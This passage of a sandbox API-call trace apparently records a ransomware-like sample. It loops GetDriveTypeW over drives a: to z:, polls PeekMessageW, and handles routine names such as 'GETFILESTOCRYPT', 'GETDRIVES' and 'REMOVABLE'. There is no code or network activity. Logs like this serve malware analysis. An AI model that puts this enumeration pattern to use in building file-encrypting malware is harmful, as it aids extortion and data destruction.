returned 0x1 [0086.674] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.674] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.674] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.674] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.674] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.674] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.674] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.674] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.674] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.674] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.674] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.675] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.675] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.675] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.675] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.675] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.675] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.675] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.675] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.675] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.675] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.675] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.675] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.675] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.675] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.675] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.676] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.676] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.676] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.676] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.683] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.683] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.684] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.685] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.685] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.685] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.685] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.686] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.686] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.686] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.686] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.686] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.686] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.686] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.686] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.686] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.686] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.686] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.687] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.687] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0086.688] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0086.689] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0086.689] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0086.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.689] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.689] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.689] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.689] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.689] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.689] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.689] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.690] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.690] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.690] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0086.690] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0086.690] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0086.691] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0086.691] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0086.691] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0086.691] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0086.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.691] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.691] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.691] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.691] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.691] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.691] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.691] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.692] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.692] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.692] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.692] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.692] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.692] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.692] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.692] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.692] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.693] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.693] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.693] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.693] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.693] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.693] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.693] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.693] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.694] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.694] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.694] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.694] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.694] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.694] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.694] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.694] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.694] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.694] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.695] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.695] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.695] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.695] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.695] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.695] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.695] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 